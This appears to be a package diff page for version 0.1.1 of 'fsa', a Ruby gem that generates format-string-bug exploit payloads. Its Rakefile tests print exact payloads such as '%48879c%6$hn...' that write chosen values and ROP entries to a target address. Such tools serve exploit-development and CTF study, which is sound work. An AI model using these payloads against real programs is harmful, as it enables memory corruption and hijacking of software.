fsa 0.1.0 → 0.1.1

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 9a2e91df49fc153348331c23ae87e999449c404f612f68e2275a72edd208179f
4
- data.tar.gz: e8970243f8068b68078ec5901fe972a2cd13f09c4eff799b0f20490ff8e74d87
3
+ metadata.gz: 97a68ab3e6d59135b0a2bb1cc89e29c8c76e47f67a871cfe1dbe0129db9f38a1
4
+ data.tar.gz: 199ccfe864769150f2c7b20bd2a115b4ea7ec4c5b9392c1b5a8cac77fa06ea20
5
5
  SHA512:
6
- metadata.gz: bc431edf36041a285638650bae2650759c24d975228ec1817c916250d5fecaf501026dda67958956c24683b6de63d93ad8a99180997c75c427b2a570c7b5439b
7
- data.tar.gz: 735b5fe6a69fd26e7c83f98703dbf5e2ff3119dec5ec0ca5781bee213c92aef18111fc177a24bd46111f4319b00d71370bb85c1730f7e27dd9b5f1c7424dff82
6
+ metadata.gz: 69e14b610172a8c29801216a44cf043f5915664de42bc786fb5d9c4881ff9db289635f228e1bb7af727268ad951008d2054089d28a54babdecf3c1ee1c8e4b64
7
+ data.tar.gz: d0331f12e9e59581123e3eafefb17cc51a37e8c8ad34595808463c80fb0b39bf03ec36215f8df015241401e7e377f2198375efe62df3745bbff5b3ca4ff3cb28
@@ -0,0 +1,14 @@
1
+ language: ruby
2
+ rvm:
3
+ - 2.3.0
4
+ - 2.4.0
5
+ - 2.5.0
6
+ script:
7
+ - rake dword
8
+ - rake rop
9
+ - rake string
10
+
11
+ notifications:
12
+ on_failure: never
13
+ on_success: never
14
+
data/README.md CHANGED
@@ -5,13 +5,20 @@
5
5
 
6
6
  I made this script based on [libformatstr](https://github.com/hellman/libformatstr).
7
7
 
8
+
9
+ ## Install
10
+
11
+ ```
12
+ $ gem install fsa
13
+ ```
14
+
8
15
  ## Usage
9
16
 
10
17
  ### Basic
11
18
 
12
19
  ```ruby
13
20
  #coding: ascii-8bit
14
- require_relative 'fsalib'
21
+ require_relative 'fsa'
15
22
 
16
23
  target_addr = 0x08049580
17
24
 
@@ -40,7 +47,7 @@ p fmt.payload(0)
40
47
 
41
48
  ```ruby
42
49
  #coding: ascii-8bit
43
- require_relative 'fsalib'
50
+ require_relative 'fsa'
44
51
 
45
52
  target_addr = 0x08049580
46
53
  value = 0xdead # 2byte(Supported 2byte, 1byte)
data/Rakefile CHANGED
@@ -1,2 +1,23 @@
1
+ #coding: ascii-8bit
1
2
  require "bundler/gem_tasks"
2
3
  task :default => :spec
4
+
5
+ require './lib/fsa.rb'
6
+
7
+ task :dword do
8
+ fsa = FSA.new
9
+ fsa[0x08049580] = 0xdeadbeef
10
+ raise "Failed: Overwrite dword" if "%48879c%6$hn%8126c%7$hnA\x80\x95\x04\b\x82\x95\x04\b" != fsa.payload(0)
11
+ end
12
+
13
+ task :rop do
14
+ fsa = FSA.new
15
+ fsa[0x08049580] = [0xdeadbeef, 0xdeadbeef]
16
+ raise "Failed: Overwrite ROP" if "%48879c%9$hn%10$hn%8126c%11$hn%12$hn\x80\x95\x04\b\x84\x95\x04\b\x82\x95\x04\b\x86\x95\x04\b" != fsa.payload(0)
17
+ end
18
+
19
+ task :string do
20
+ fsa = FSA.new
21
+ fsa[0x08049580] = "H@CK"
22
+ raise "Failed: Overwrite string" if "%16456c%6$hn%2811c%7$hnA\x80\x95\x04\b\x82\x95\x04\b" != fsa.payload(0)
23
+ end
@@ -12,7 +12,7 @@ Gem::Specification.new do |spec|
12
12
  spec.summary = %q{Generating payload of format string bug}
13
13
  spec.description = %q{Generating payload of format string bug}
14
14
  spec.license = "MIT"
15
- spec.homepage = "https://github.com/owlinux1000/fsa"
15
+ spec.homepage = "https://github.com/owlinux1000/fsalib"
16
16
  spec.files = `git ls-files -z`.split("\x0").reject do |f|
17
17
  f.match(%r{^(test|spec|features)/})
18
18
  end
@@ -1,3 +1,3 @@
1
1
  module Fsa
2
- VERSION = "0.1.0"
2
+ VERSION = "0.1.1"
3
3
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: fsa
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.0
4
+ version: 0.1.1
5
5
  platform: ruby
6
6
  authors:
7
7
  - Chihiro Hasegawa
@@ -46,6 +46,7 @@ extensions: []
46
46
  extra_rdoc_files: []
47
47
  files:
48
48
  - ".gitignore"
49
+ - ".travis.yml"
49
50
  - Gemfile
50
51
  - Gemfile.lock
51
52
  - LICENSE.txt
@@ -57,7 +58,7 @@ files:
57
58
  - lib/fsa.rb
58
59
  - lib/fsa/version.rb
59
60
  - vendor/cache/rake-10.5.0.gem
60
- homepage: https://github.com/owlinux1000/fsa
61
+ homepage: https://github.com/owlinux1000/fsalib
61
62
  licenses:
62
63
  - MIT
63
64
  metadata: {}